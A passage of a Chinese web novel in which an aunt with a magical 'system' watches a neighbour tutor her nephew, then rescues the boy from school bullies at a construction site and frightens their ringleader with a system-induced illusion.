“学习是为数不多受外力影响最小却又最能直观感受到收获的事了。”裴珩伸手点点他的书册，“比起那些想在学习上努力都无门的人来说，你已经很幸运。” 裴珩：“所以，哪道题没懂？我帮你看看。” 陆季燃瞧眼裴珩，又看池又青，在她的目光下点点头，吝啬地把自己的题册往对面一推。 裴珩利落地翻开他折了边角做过记号的页数，一目十行地看起来。 裴珩：“ 草稿纸有吗？” 陆季燃嗯了声，说：“我上楼拿。” 池又青把他欲站起的身子摁回去：“不用，我这有。” 池又青拿来的不算草稿纸，而是一沓全新的速写本。她还多拿几支笔，放在一旁，什么颜色都有。 “这是——？”裴珩用笔盖点点书册上已有的笔迹。 “冯老师给的思路。”陆季燃说。 裴珩嗯了声：“你怎么想的？” 陆季燃瞄眼池又青。 池又青举双手求饶：“别看我，我也不会。” 她逃跑一样地站起来：“你们聊，我去点外卖。” 裴珩用笔点点陆季燃身前的桌面，提醒他收回目光，说：“别看你小姨，我在问你。” 陆季燃咬咬牙，底气不足地把自己的想法说出来，越说到后面声音越小，没等裴珩发话，就先心虚起来。 裴珩执笔在速写本上列下公式。 “这个思路没问题，只要这样就能解开。”他迅速地写下详尽的解题过程。 稍微被肯定后，陆季燃紧张的心没那么死绷，脑袋向前凑，看裴珩转过来的本子，一边琢磨，一边问：“那既然我的思路也可以，为什么冯老师说不行？” “你对比下。”裴珩敲敲一旁冯老师的思路，光是从解题答案的长短上就能看出问题，“你的思路可以求解，但需要绕几个大弯，其中更是涉及到你目前没有掌握的知识，所以才会出现你现在的卡点。” 裴珩顺手翻到书册的扉页，看了眼，说：“陆季燃是吧？刚学会走就别想着飞，努力也要掌握方法。与其死磕这个思路，不如先掌握现有的办法，再不断推演学习，掌握第二个办法。” “首先明确目标，从现实角度来看，你当下最需要的是快速提分，不是钻研不同解法。” “你不是笨。”裴珩一针见血地说，“你只是有点过于相信自己的聪明。” 裴珩顿了顿，说：“小聪明。” 陆季燃后脊发凉，面色难堪，却又不得不承认，裴珩说得没错。 池又青在旁抱着面包吃瓜，瞧下陆季燃，又瞧下裴珩，发现裴珩讲课的态度，比她想得还要冷傲直接。跟这个人平日里和她接触的时候展现的温和完全不同。 不过看起来，陆季燃好像还蛮吃这套。 反而是冯老师那种书生气浓重，omega风格的，有点压不住陆季燃的脾气。 哎，可惜了。 要是裴珩当初没拒绝她就好了。 池又青在一旁撺掇：“小燃子，既然裴老师都来了，你就再多让他帮忙看看。” 裴珩听见这话，抬头，不动声色地扬眉。 池又青握着手机嘿嘿笑：“来都来了，裴老师就再坐会，我点了外卖，等会咱仨一块吃饭。” 她后知后觉地补问：“裴老师，这不会耽误你什么事吧？” 裴珩轻轻摇头。 陆季燃就这样被赶鸭子上架，当场开始二轮补课。他一开始还是有点不服气，等裴珩迅速地看了眼他做过的题，几乎是分秒之间就分析出他的问题时，陆季燃嘴巴有点合不上了。 冯老师都没这能耐！ 裴珩很会引导他思考，并在他表达以后洞悉他思考中的问题，从思维方式上纠正他，再跟他讲题目。 一番讲题下来，陆季燃只感觉自己就跟武侠小说里的男主掉下悬崖被世外高人捡到点拨一样，浑身窍门洞开，灵台清明，马上就要原地变身，重返江湖，大喊莫欺少年穷，一出手就杀他个片甲不留。 两人沉浸式学习着，池又青却接到一通电话，迎来惊天噩耗。 “完蛋。”池又青有点崩溃，“我先前点的外卖被送错地方，刚刚骑手小姐姐打电话说，找过去的时候已经被吃了。” 陆季燃瞪大眼：“还能这样？！” 池又青头抵着墙，两眼无光：“我难得膨胀出18块的优惠券，还我优惠券啊老天。” 陆季燃：“……”合着你就在意这个是吧？ 裴珩提出解决方案：“可以申请退款补偿。” 池又青摇摇头：“算啦，我看过她的个人界面，估计是刚上手，不太熟，不知道申请退款是不是要扣她钱，还是别折腾了。不过——” 池又青瞧着面前一大一小两人，说：“现在咱仨没饭吃了，该怎么办？出去吃？再叫外卖估计还要等半天。” 裴珩望向窗外：“在下雨。” 池又青顺着看过去，才发现天已彻底阴完，淅淅沥沥的秋雨不知道什么时候落下的，打得小区里的榉树叶片阵阵发颤。 池又青拢了拢身上的披肩，拖长声音：“诶——” 裴珩瞧着她有点郁闷的神色，道：“不介意的话，我可以做点家常菜。” 池又青眼睛倏然一亮：“裴老师，你会做饭呀？” 裴珩颔首：“嗯，略会，能吃。” 池又青是饿了，但又有点挑，想着将就一顿，若是裴珩做饭不好吃，她就晚上给自己加餐。 池又青笑着说：“那我就不客气啦。” 裴珩笑笑：“池小姐总是对我说这句话。” 池又青仔细回想，的确如此。 说了很多遍，但…… 她就没跟裴珩客气过。 裴珩又说：“远亲不如近邻，互帮互助是应该，刚才那话，池小姐以后不必再说。” 池又青说好，心里却想，这个年代，还有多少人在乎邻里关系？没想到裴珩是个这么淳朴的人。 “那我去隔壁帮你打下手吧？陆季燃，你就在这坐着，再学会，待会吃完你负责洗碗。” 池又青一句话把分工拎得明明白白，陆季燃反抗无能，只好接受安排。 拎着自己的拖鞋踏进对门，池又青没想到裴珩的家装修风格这么性冷淡。 原木与微水泥涂料构造出自然侘寂的调性，纯黑粗陶花瓶里斜插着几桠孤零零的枯枝，这土褐色的枝干瘦得能见骨相，远看着却自有股韧劲儿，像古时文人提笔时微抬的衣袖，弯折出典雅的余韵。 池又青忍不住问：“裴老师，这是什么？” 裴珩顺着她的目光看，说：“山归来，还没开花结果。” 池又青：“它还能开花结果啊？” 裴珩轻笑：“当然，毕竟它的别名叫蔷薇果。” 从池又青亮晶晶的眼睛上一扫而过，裴珩说：“到时候请你来看。” 池又青意满离。 裴珩拉开冰箱，清点菜品，问她和陆季燃有没有什么忌口。 池又青摇头，送裴珩四个字：“啥都能吃。” 邻居都义务帮忙做饭了，她还是不要太挑。 这点小自觉池又青还是有的。 她说：“裴老师，你随便发挥。” 裴珩嗯了声，讲：“我刚刚就想问，怎么忽然叫我老师。” 池又青跟着他走进厨房，帮忙拿了一根葱，小心翼翼地学着裴珩放在料理台上，说：“你帮陆季燃讲题啦，叫老师也没问题吧？老是喊裴先生，总觉得有点见外。” 更何况现在他们年轻人都这么喊，也不知道从哪来的习惯，管他三七二十一，老师先喊为敬。 池又青倒是喊得挺顺口。 她瞧着裴珩洗菜，问：“你介意吗？” 裴珩说：“怎么会？池老师。” 最后三个字被他说得格外正式。 池又青啊啊大叫：“no！大no特no！” 裴珩这么喊她，总让她以为自己在跟向自己约稿的甲方单主对话。 不要啊不要啊。 她开摆：“老师我可不敢当，你不如叫我同志。” 裴珩眼底漫起一丝微不可查的笑意：“那还是池小姐吧。” “池小姐，方便帮个忙吗？”他说这话的时候手里正握着通红的饱满番茄，仿佛再用力一点，番茄就会爆开。冰凉的水从上方落下，将他整个手掌都打湿，米色的袖口也被浸润。 池又青忙替他关上水龙头，上手替他挽袖口，到小臂的位置停下，问：“挽到这够吗？” 裴珩点点头：“谢谢 。” 池又青嗐一声：“这有啥。” 她勾勾手指，示意裴珩把另外一只手递过来，如刚刚一样替他挽衣袖。米色的袖口折叠一圈两圈，妥帖包裹着的布料上移，逐渐露出肌肉线条成熟的小臂，青筋蜿蜒，于结实有力的修长体块上若隐若现。 这还只是没彻底发力的状态。 池又青不敢想，要是此男来做她的绘画参考，任她摆布，她的人体能进步多快，她又将是个多么快乐的小女孩。 “池小姐？”裴珩的声音清冽到让人难以忽视。 池又青镇定自若地将袖口捋到跟另外一侧一样的位置，退后一步，把洗菜的主场完全让给裴珩，非常客套地问：“还有什么需要我帮忙的吗？” 裴珩也不知道是人太好，还是瞧出她的小虚伪，讲：“不必，厨房油烟大，你去休息吧。我只做几个小菜，很快就好。” 池又青自觉地再次往后退，坚决不做厨房障碍物，在不影响裴珩动线的情况下，站在门边，环抱双臂，毫不遮掩的目光，瞧着裴珩的背影。 “池小姐这是怕我下毒？”裴珩说。 池又青被这笑话冷到，搓搓手臂，没忍住好奇，问：“裴老师，你有做过什么努力但没结果的事吗？” “当然。”裴珩一边将番茄丝滑无比地剥皮，一边回答池又青的采访。 池又青调整姿势，偏头，脑袋抵着门框，问：“比如？” 裴珩将失去保护层的柔软番茄冲洗，拿刀切块，在嗒嗒嗒的稳定刀声里回答：“读书时作文总是偏题却还是不服，背了整本范文，最后也没得几分，这算吗？” 池又青睁圆眼：“整本？” 裴珩：“夸张手法，但也挺多。” 池又青：“哇——干嘛这么死磕？” 裴珩：“以为自己是六边形战士，后来发现，做个三角形也不错，至少稳定。” 池又青眨眨眼，明白过来，这是学神的小骄傲在作祟。 池又青：“那你高考作文考得怎么样？” 裴珩：“运气好，那年的题目是我最擅长的议论文。所以成绩还行。” 他将番茄倒进锅里，油烟机低沉地响起噪音，又不紧不慢地说：“大学做项目，帮导师跑了两年数据，结果刚出来，就发现一周前刚好有其他学者做出类似成果。” 池又青噫了一声：“倒霉。” “那你不后悔吗？”她问。 裴珩敛眸，说：“不会，因为是我自己选择的路。重来一次，以我当时的认知水平和欲望目标来看，我还是会那样做。” “包括现在，我也在做一件不一定会有结果的事。” 池又青眨眼：“什么事？” 裴珩笑而不语，又道：“池小姐，事以密成。” 池又青拉严自己嘴巴的拉链。 裴珩余光瞧见她的小动作，眼底的笑意更深，又藏入烟火气中，消失不见。 这下轮到他采访：“那池小姐呢？刚刚你侄子说，你想做自己的品牌？” 大抵是因为裴珩也同她掏心窝的缘故，池又青的心防也有些许松动。 人和人的相处就是这样，只要有人率先勇敢袒露一些，总会有人跟着也袒露一些，于是原本陌生的两个人之间就会产生细弱的联结，像蛛丝一样，不易察觉，却潜移默化存在。 又或者是此刻的氛围太有家居感，番茄的香味诱人，男人也长了一张只要他认真看着谁就很容易叫人信赖的脸，在拿人手短吃人嘴软的方针指导下，池又青扬起嘴角，用最轻松的语气说： “想过，但是也没成功。那叫什么来着？千里之行死于足下。” “嗯？死因是？” 裴珩接的这句话真把池又青逗笑，她弯着眉眼，说：“裴老师，你知道什么最可怕吗？是一个人平庸，没有天分，却被周围的人从小恭维，真以为自己是什么稀世天才。等出了象牙塔才知道，她引以为傲的成就，不过是别人赏的面子。” 讲完这话，她的脸上有一瞬的黯淡，但很快又明亮起来，语调轻快地说：“不过我现在有点想明白啦。” “找到复活药了？” 池又青哈哈一笑：“算是吧。” “就算是皇帝新衣的又如何？愿意为这新衣买单，是他们自己的选择，我管他们是为了面子还是里子。”池又青有点嚣张地说，“钱在他们兜里，自愿给出来的，又不是我自己掏的。” “更何况，你说得对，就像过程比结果重要一样，我的作品也比成就更重要。它至少要先被设计出来，先存在，而不是永远被封藏，不见天日。” 这个世界上天才太多了。 池又青对此早有体悟。 也可能是因为她在设计上多少有点完美主义的毛病，又确诊技术跟不上审美的绝症，导致她有段时间，总是看不惯自己的作品。 画的都是什么？设计的都是什么？ 别人是艺术家，她是产屎官。 她一贯擅长找到别人作品上的优点，比如设计极具风格，线条简洁明练，但她在过去很长一段时间里，找不到自己的优点。 就像那些评奖人背后讨论的一样，她的优点，就是她有个牛逼轰轰的老妈，先天艺二代，不可能不给奖。 从尊重信赖的老师与前辈嘴里听到这样的评价，池又青长期以来建立的价值体系彻底崩塌。 她自暴自弃，撕毁所有设计稿，烧掉成品衣裙，纵身一跃跳进世界的航线，自此开始上山下海，乐不思蜀。 从万米高空跳伞的时候，瞧着开阔的山野，缥缈的云层，她想：看，不做设计，不画画，她也不会死嘛。 潜入深海与鲸共舞，聆听它空灵的鸣叫，感受着来自动物最纯真的反馈，她想：瞧，还不是活得好好的？世界依旧如此美妙。 只是夜深人静的时候，无聊地翻刷手机，昏暗的微光照亮她的面颊，也把她心里的空洞照得明显无比。 她走得太快，太顺，太远，以至于忽然忘记，她到底为什么要拿起画笔，为什么要开始设计。 小苹果的回信给了她答案。 池又青，你不是为了拿奖，获得认可，成为和妈妈一样的时尚女王而出发。你只是喜欢看见别人因为你的画露出笑容，因为你设计的衣裙感到幸福。 就像小学的舞会，你帮朋友改了人生中的第一条自制裙子，她惊叹着扑过来，嘴上糯糯地喊着Liora，不敢置信地抱着你。 一贯觉得自己不漂亮，有巧克力般肤色的朋友，那天，昂起的头从没低下过。 尽管到现在，她们在时间的长河里已经失去联系，但那些瞬间，池又青永远没忘。 它们只是被这世间太过纷杂的东西掩盖，像大雪后的梅枝，只有晃晃枝丫，抖掉厚雪，才能发现悄然含苞的小花骨朵。 池又青，花一直都在。 什么时候都不晚。 就现在，去开属于自己的花吧。 第29章 第29章还是裴珩适合当这个冤大头啊…… 【052，你有裴珩的资料吗？】 饭后，陆季燃被池又青赶上楼学习，裴珩在帮忙盯梢。她自己窝在书房复健，一边在本子上涂涂画画，一边跟052闲扯。 052冒出来：【有，宿主，你要买吗？】 池又青将笔在指尖转了个花，问：【多少米？】 052：【3000成就点。】 池又青的笔啪嗒落在桌面上，不敢置信：【多少？你再说一遍？】 052听话地重复：【3000成就点。】 池又青喷了：【凭啥啊，他一个路人甲的情报，凭什么卖这么贵？】 052沉默一瞬，解释：【抱歉，这都是AI自动判断报价，我无法干预。】 池又青好奇：【他在原著里出现过吗？不会有什么隐藏身份吧？怎么一个破资料卖这么贵？】 052问：【那宿主，你要买吗？我们现在特别开启小额借贷系统，成就点 先借先花……】 池又青赶紧叫停：【别，这个贷款我沾不了一点。】 她也就是一时兴起，想着要是裴珩的资料几块钱的话买就买了，满足下自己的好奇心。 毕竟此人嘴上说着自己做饭水平是凑合能吃，最后弄出来的东西却堪比米其林大厨。 池又青不经想到裴珩之前说过的话。 问他以前成绩如何，他说还行，正常发挥。 故而好奇起来，想知道裴珩到底什么水平。 结果—— 3000成就点？ 呵呵，这情报狗都不买。 哪知没两天，池又青免费获得关于裴珩的一手资料，消息还是从陆季燃的补课老师冯泽恩那得到的。 冯泽恩特别内疚地来跟她请辞，一脸‘我是真不好意思干下去’的模样。 池又青一问才知道，原来是冯泽恩得知裴珩给陆季燃讲数学题的事，未战先怯，想跑路了。 “他是我学长，本来可以直接走竞赛入学的，但据说实在是闲着没事，也参加了高考玩玩，结果成了他们那一届的省状元。” 冯泽恩说这话的时候眼神里都冒着崇拜的光。 “大学就发过顶级刊，交换留学的时候更是速通绩点，我听校友说，他后来好像在做算法投资，但更多的就不了解了。” 裴珩对冯泽恩来说就是传说级的人物，曾经刻在学神启示录上SSS级的存在。 未曾想，现在居然能碰面。 冯泽恩感慨唏嘘，却也没胆子没脸面在裴珩面前班门弄斧，纠结半天，还是决定跑来辞职。 池又青赶紧把他劝下，让他先盯着陆季燃其他几科，别慌，稳住。 送走冯泽恩，瞧着对面的大门，池又青有种天降神兵的感慨。她搓搓猫爪，小算盘噼里啪啦打响，开门见山地跟裴珩提这件事。 重点强调：由于他太强，导致冯老师产生退意。 话里话外的意思就是要裴珩负责。 “当然，待遇上我肯定不会亏你。”池又青打包票，“裴老师，再考虑一下？” 她以为要磨裴珩许久呢，结果裴珩很快就答应了。 池又青想不通，既然如此，为什么一开始还要拒绝她？ “会学不代表会教。”裴珩同她解释，“我需要准备。” 他家书房里陡然多出来的格格不入的教材真题等印照出他的准备过程。 “裴老师，你这个人好认真哦。”池又青翻着书页，看着上面隽永的字迹，忍不住感慨，“那陆季燃的数学和地理就交给你啦。” “不介意的话，地理我可以另请高明吗？” “怎么说？” 裴珩将她递过来的书接住，放回架上，讲：“要让我从头开始学一门科目并教授，实在也算有点难度。” 池又青拍拍自己的脑门：“瞧我，忘了，当年你是理科生。” 裴珩的人脉很好用，马上就给池又青摇来个电子家教，线上授课的那种。 池又青乐得叻。 原本还担心陆季燃这188名有点困难，现在，她有点飘了，别说188，她感觉288都有可能。 每天瞧着系统给的陆季燃学习数据汇报，看着他当真跟驴一样，在成就点上这件事自产自销，池又青莫名有种当甩手掌柜的快乐。 眼看十一月逐渐逼近，池又青又开始寻求各路神仙帮忙。 中式玄学，西方魔法，她啥都给陆季燃整上了，就盼着不久后的期中考顺利，任务圆满完成。 是个周四，池又青在家点蜡烛，这是她拖陈念从国外带回来的女巫蜡烛，据说点燃蜡烛，用鼠尾草熏香，再在白纸上拿红笔画指定图形，于心中默念三遍愿望，就可保一切成真。 这蜡烛刚点燃呢，小火苗从特意保持幽暗的房间里亮起，池又青的电话就恼人地响起。 她瞄了眼，是陆季燃。 “喂？小燃子？”池又青觉得奇怪，看了眼时间，是午休的点，“有什么忘带吗？怎么给我打电话。” 电话那端传来白盛飞的声音：“小姨！陆哥他小姨！陆哥，陆哥出事了！” 池又青二话不说就站起来，捞起衣服往外走，都换好鞋子了，又跑进屋，弯腰把蜡烛吹灭。 “你别慌，慢慢说。”她下地库，上车，连接蓝牙，听白盛飞讲前因后果。 “就刚刚吃完饭，午休呢，陆哥忽然被人叫走，说是我们学校的女生被欺负了，让我们先去找老师。”白盛飞急得原地跺脚，“结果我们等半天都没等他回来，去找，才发现事情不对。问了一圈才知道，好像是英盛的人把他带走了。走之前他把手机留着了说如果出事就给你打电话……” “英盛？”池又青觉得耳熟。 052提醒她：【郭允，梁骁。】 池又青反应过来：【这段在原著里有吗？】 052也有些头大：【按理说是没有的，这部分剧情该是在女主转学以后，和男主相遇才会出现。但是现在不知道怎么回事，居然提前了。】 池又青一边安抚白盛飞，让他别管这事，她来处理。一边又跟052讨论情况。 根据052提供的地址，池又青找到郭允把陆季燃带走藏住的地方。 是英盛正在修建的新校区，该校区和老校区相连，这两天正好停工，没人在。 池又青本来想走大门，还特意花了成就点，找到英盛校长的电话，想直接跟他说这件事。哪知道对方根本不接。路上联系郭允的老师，对方的态度也没所谓，只讲这是下课时间，他们管不着。 池又青心里憋了一肚子火，门卫又严得不行，不让她进。 她都打算直接开车撞破大门算了，白盛飞的声音从一旁传来。 “小姨！” 池又青惊讶：“你们在这？” 白盛飞和袁源都在，身上却穿着英盛的校服。 白盛飞忙说：“小姨，陆哥是我们兄弟，哪有兄弟出事我们就在一旁看着的？猜到你要来英盛，我跟袁胖就赶紧过来了。” 袁源朝着池又青连连点头。 白盛飞把花钱借来的校服塞到池又青的手里：“小姨，你换上这个，咱们直接混进去。” 池又青上车把校服套上，戴上口罩，跟着白盛飞和袁源，大摇大摆地混进英盛。 一过门卫那关，池又青立刻跟白袁二人交换眼神，撒开腿就是飞奔。白盛飞还算跟得上，只是在心里惊叹，陆哥小姨的体能竟然如此牛逼。袁源就有点凄惨了，本就是个走两步就要喘三下的胖子，现在跑起来，魂都要没了。 白盛飞看不下去，拽着他的胳膊往前拖。 按照052给的3D肩头指引，池又青找到陆季燃所在的地方。 是新校区修建的一半的工地，楼梯都没修好完全，四周没有护栏墙壁，只有光秃秃的水泥层。池又青怕白盛飞和袁源出事，让他们在楼下等着。 白盛飞说什么都不干。 就连袁源也喘着气摇头。 “小姨，你一个人上去有什么用？多危险啊。”白盛飞扶着袁源，说，“我们俩上去，一块帮你，要是人多，我还能马上摇人。” 池又青没辙，只好领着他们往上。 刚到三楼，就看见陆季燃人被绑在一把椅子上，孤零零地待在空旷且四面漏风的水泥层中。 这看起来像是什么秘密基地，因为周围还四处散落着烟盒，啤酒罐，甚至还有两三把老旧的软椅。 池又青忙上前去，拿出便携小刀割断绳子，陆季燃没醒，还昏沉着，她接住他，伸手去摸了摸他的后脑勺。 052快速地说：【放心，宿主，没大碍，就是暂时被打晕了。】 池又青松口气，扶着他往楼下走。 没走两步，就听见一群吊儿郎当的少年边走边聊天。 “郭少，待会那个陆季燃要怎么处理啊？” 郭允的声音明显至极：“他们班那个不是说他最近很爱学习吗？把他的手弄断，看他以后怎么还学。” 白盛飞听到这话眼睛就倏地冒出火星。 池又青一把拉住他，将陆 季燃推过去，让白盛飞和袁源照顾。 “我来处理。”她说。 白盛飞手忙脚乱接住陆季燃，直说：“别啊小姨！” 郭允那群人都是疯子。 小姨一个人怎么对付得了？ 正担心焦急着呢，就见池又青纤细的背影已经迎上郭允和他的狗腿一群人。 看见池又青的那一刻，郭允就下意识往后一缩，那天的巴掌是如此清晰，以至于仿佛现在还留在他的脸上，引起不可忽视的阵痛。 但很快，见池又青形单影只，区区一个人，还是个女的，有什么好怕？ 那天让她打两巴掌，完全是因为他没注意。 今天可不一样。 他身后全都是他的兄弟！ 郭允底气顿生，对着池又青吹了个口哨，流里流气地说：“哟，小姐姐，是你啊。” 往后一瞧，看见白盛飞和袁源，郭允的神色更加轻蔑了。 “就你们几个？”郭允抬手，极为装逼的做了个自以为很帅的手势，明示身后的狗腿上前。 他们就像斑鬣狗般围上来。 池又青转转手腕，活动着筋骨，又抬手按压自己后颈处的关节，盯着眼前这群混小子：“谁动的手？” 郭允听见笑话一样：“我说美女，你想干嘛？要给陆季燃报仇吗？拜托你张开眼睛看看，我们有多少人，你们有多少人。美女，看在你长得漂亮的份上，这样，你现在下跪，跟我说一声对不起，我就放你们和陆季燃走，怎么样？” 白盛飞呸了声：“郭允！你吃屎吧你！” 袁源也气得浑身发红，圆溜溜的小眼睛豆似的瞪着这群人。 池又青的耐心彻底告罄，毫无预兆，直接一巴掌打上郭允的脸：“少看点古惑仔吧弟弟。” 响亮的耳光声在这没修建完全的建筑物内回荡。 所有人都傻眼。 郭允不敢置信地瞪她，张嘴喃喃道：“你居然还敢——” 池又青又一巴掌甩过去，直接打断他的废话输出，把他整张脸上的肉都扇得发颤。 她冷笑一声：“山鸡哥都上岸了，就你还在这发癫。” 郭允的狗腿跟班们看见这场面时人是沉默的。 都没料到这个女同学居然敢直接动手！ 郭允在她面前，就跟个拨浪鼓一样，脑袋是一扇一扇又一扇的。 等反应过来，他们在郭允的尖叫下一拥而上。 郭允大喊：“来人啊！给我弄她！谁要抓到她我给谁一千块！” 白盛飞惊慌：“小姨！小心！” 袁源更是一咬牙，往前冲，准备把自己当保龄球，替池又青撞开那些人。 哪知道池又青一个侧身躲过拳头，反手捏住对方的手腕，一脚踹上他的膝盖，只听啪地一下，男生跪在地上。侧面的攻击也被池又青躲开，毫不犹豫抬腿一踹，将对方踹到趴下。 白盛飞：“……” 袁源：“……” 二人忍不住互看一眼，都看见了彼此眼中的错愕。 不是吧小姨！ 你这么能打的吗！ 这身手，这力道，这反应速度…… 白盛飞差点以为自己在看热血高校之英盛版！ 小姨你深藏不露啊！！ 郭允也没想到池又青这么能打，他甚至能够看到女人出手时上臂的肌肉线条。 草，真是练过的。 池又青瞧着眼前这群被她三俩招弄得有点害怕的学生们，甩了甩手腕，漫不经心地说：“姐姐也不想欺负你们，给你们个选择吧。要是现在从良，帮我把郭允这小子抓住，他刚刚给你们多少，我就给十倍。” 方才跟在郭允身后跟一群散兵一样的小屁孩现在听到这话都愣了，交头接耳起来。 “十倍？那是多少？” “一万啊傻叉！你数学这么差！小学都没读吗！” “不是，刚刚郭少说的数我没听清啊，看你们往前冲我就跟着冲了——” 尚有骨气的家伙昂头说：“呸！我们跟郭少是兄弟！才不会因为你这点诱惑就动摇！” 郭允听到这话得意无比，小眼神往池又青身上飞，透着嘲笑。 池又青噢了一声，说：“二十倍。” 郭允切了一声：“歇歇吧大姐，你没听见吗？他们是我兄弟——喂！你们做什么！” “兄弟？”池又青将刚刚郭允眼中的嘲笑原样奉还，“就这？” 郭允已经被自己身边的人围住，他逃脱无能，慌乱地拿起乱七八糟的东西想要砸她，没砸中，眼看着对方已经肃清掉自己那些尚在抵抗的没用小兵，要走向自己，郭允的心脏慌乱地跳动着。 他承受着女人的目光，看着她沉沉地朝自己走来，莫名有种恐怖的直觉。 ——会死的。 这次说不定真的会死的。 他退无可退，抵着墙壁，瞄到在一旁不断用自己的体重压垮别人的袁源，大喊一声：“袁球！袁球球！救我！” 袁源动作一顿。 郭允见他有反应，忙继续说：“袁球，只要你这次帮我，我以后都不会让人再欺负你，你还能转回英盛读书，我们还能和以前一样做朋友，真的！袁球球！你帮帮我！！” 袁源结结巴巴地回：“不、不可能。” 郭允被拒，恼羞成怒，骂了句：“臭结巴，死肥猪！” 他看着池又青，又喊：“你别过来啊！我告诉你，我爸可是校董，我——” 一团掉在地上的脏抹布直接飞进他的嘴里。 抹布又臭又腥，把郭允弄得想吐，眼珠子往外凸，后背弓起。 池又青走近他，不费吹灰之力的把他拎起来，提到楼层的边缘。这房子根本没修好，防护铁栏近乎于无，郭允就这样被她一只手抵在栏杆边。 他感觉到自己的身后什么都没有，是空无一片。 余光瞟到下面的场景，郭允双腿本能地开始发抖，他虚张声势道：“你干、干什么！我告诉你！杀、杀人是犯法的！” 池又青笑起来：“你也知道是犯法的？” “刀子不捅你身上，你就不知道疼是吗？” 她抓着郭允领口的手慢慢放松：“郭允，其实这也不高，摔下去大概率能活，要不咱试试？” 郭允吓得快尿出来，他求饶：“不要不要，姐，姐，我错了，我真的错了。” “哦？错哪了？”池又青这个时候还有闲心笑起来，“说来听听。” 郭允哪里真知道啊？他纯纯是张嘴就来。池又青的笑容看得他头皮发麻。这女的怎么回事啊？明明长得漂亮至极，此刻却像魔鬼一样。 郭允绞尽脑汁地想：“我、我不该对陆季燃下手，不该把他绑过来。” “嗯？继续。”女人的眼神冷然。 郭允的两条腿根本站不住，唯恐池又青松开他或伸手一推，赶紧又冥思苦想，补充道：“我、我还不该叫袁球肥猪，笑他是个结巴，让班上的人都不和他玩——” “还有呢？” 郭允真想不通还有什么事和眼前的女人有关系了。 “没了啊！都没了啊！”他慌乱地说，“姐，姐，求你，放过我吧！我给你下跪！求你！求你！” “他怎么了？”白盛飞有点害怕地看着站在不远处不停地下跪磕头的郭允，“中邪了？” 袁源也不懂，茫然地摇头。 池又青远远地站 在一边，冷漠地放任郭允独自陷入幻境中。 是的，幻境。 从郭允对袁源求救，喊他袁球的那一瞬间开始，郭允就已经进入她安排的幻境。 准确来说，是系统引发的幻境。 就算用了052补偿给她的终身打折卡，也花了她66成就点呢。 要不是怕带坏身后的小孩，她真得自己动手。 一旁的郭允小弟中有好事者，直接拿出手机拍视频。 池又青转头对白盛飞和袁源说：“走了。” 白盛飞和袁源二人共同搀扶着陆季燃。 那群小弟忙跑过来，腆着脸问：“那个，姐，刚刚说好的……” “什么？”池又青挑眉，“钱吗？” 来问的小弟点点头。 池又青莞尔：“我是钱多得没处花，但也不会给你们花。” 谁知道这群小屁孩巨款到手会干什么事啊？ 小弟先是一愣，又是怒极：“你刚刚明明说好的！” 池又青哼笑一声：“说好的？有证据吗？我们签合同了吗？嘴上说说的事而已，这么当真做什么？” 小弟们气得想爆炸，却又不敢找池又青的麻烦，因为都已经见识到池又青的本事，甚至大家都在隐隐害怕，总觉得郭允现在的疯癫样子跟眼前的女人有些关系。 刚走到楼下，池又青就撞见了一群来得匆忙的老师。 梁骁也跟着他们。 池又青蹙眉，心想：刚刚有谁通风报信了？ 正准备开口就演，就见梁骁顶着那头红毛，火烈鸟一样走过来，看了眼陆季燃，又看池又青，表情不算美妙地说：“没事吧？” 池又青指了指自己：“你问我们？” 梁骁道：“不然？” 池又青呵呵一笑：“我还以为是你让郭允干这事的呢。” 梁骁眉间的乌云更加浓密，不悦感嵌入嘴角，说：“这么下三滥的手段，我才不会用。” 池又青悄悄翻白眼，示意白盛飞和袁源继续走，几位老师却拦住他们。 “哪个班的？”那老师表情很严肃，“这边不让学生进，你们不知道吗？” 白盛飞给了池又青一个放心的眼神，自信满满地说：“老师，我高二E班的，我叫陈志祥。” 那老师盯着他，嗯了一声，说知道了。 白盛飞心下大喜，朝着池又青挤眉弄眼，炫耀自己瞒天过海的本领。 结果下一秒，老师就打了个电话。 “陈志祥，你过来一趟，老实交代，是不是又把校服租给外校的人了？” 白盛飞瞬间跟坐跳楼机一样，心情滑落到低谷：“……” 陈志祥很快把他供出来。 “九中，高二十八班是吧？等着，我这就叫你们班主任过来，还有，把你们家长电话交出来，我现在去联系。” 白盛飞和袁源抵抗失败，一个死猪不怕开水烫，一个心虚恐惧，但都交出了家长号码。 等这位严肃的严老师看向池又青的时候，池又青解释：“老师，我不是学生，其实我是这位同学的小姨。” 她拍了拍还在昏迷的陆季燃的肩膀。 严老师一副身经百战的模样，道：“你是不是还想说，你只是长得年轻而已？” 池又青：“……”糟糕，这老师会抢答。 严老师耐心不佳：“家长号码。” 白盛飞和袁源都替她说话：“老师，她真是我同学小姨！” 严老师一个眼刀甩过去：“台词都串好了是吧？” 池又青想掏身份证，发现没带，手机也被她搁在刚刚换下来的衣服里。 她没辙，为了尽快脱身，找052要了裴珩的电话。 无他，只是裴珩是她在江城为数不多认识的成年人而已。冯泽恩的电话倒也是可以打，只是此人忙于考公，为这种荒唐的事找他不太好。 想来想去，还是裴珩适合当这个冤大头啊。 第30章 第30章这丫头啊，就是个小豹子。…… 周正然正午休呢，接到田主任怒气冲冲的电话，说英盛的人逮到他们班的三个学生打架闹事，让他赶紧过去。 周正然套上衣服就往外跑，心想，该不会又是陆季燃吧？ 诚然，这段时间，陆季燃看起来安分许多，但不得不说，一提到惹是生非，周正然的脑子里冒出来的第一个相关词还是他的名字。 远远地，瞧见了白盛飞和袁源的身影，周正然无言，心说：他就知道！ 在英盛教师团的瞩目下，周正然只觉得自己的身躯越来越迷你，越来越矮小。 英盛和九中说不熟也不熟，说有些渊源，也能捋出一些来。 这事要从很多年前说起，当时英盛还没名气，就花重金在各个学校挖尖子生，就为了刷那一年高考的重本率业绩。 九中的底子在那年几乎被挖空。 后来教育局命令禁止这种事，英盛就没再折腾幺蛾子。但梁子也算是结下，多少都有些旧怨在。 挖学生就算了，老师也挖。 也不知是从哪一届开始，双方都有了暗戳戳较量的风气，就连有些老师都会在上课的时候阴阳两句：“好好读书，别学隔壁英盛/九中。” 因着这个原因，潜移默化的，英盛和九中的学生似乎也有些不对付。 平日里吵吵闹闹也就算了，那都是学校外的事。老师们都默认不知道，睁一只眼闭一只眼，任由他们发散自己躁动到没处安放的荷尔蒙。 今天倒好，他们班的几个小崽种直接跑到别人学校去了！ 哎，从今往后，脸往哪里搁啊？ 周正然隐隐有种直觉，两所学校之间的平衡即将被打破，他们九中这下估计要被拿住把柄了。 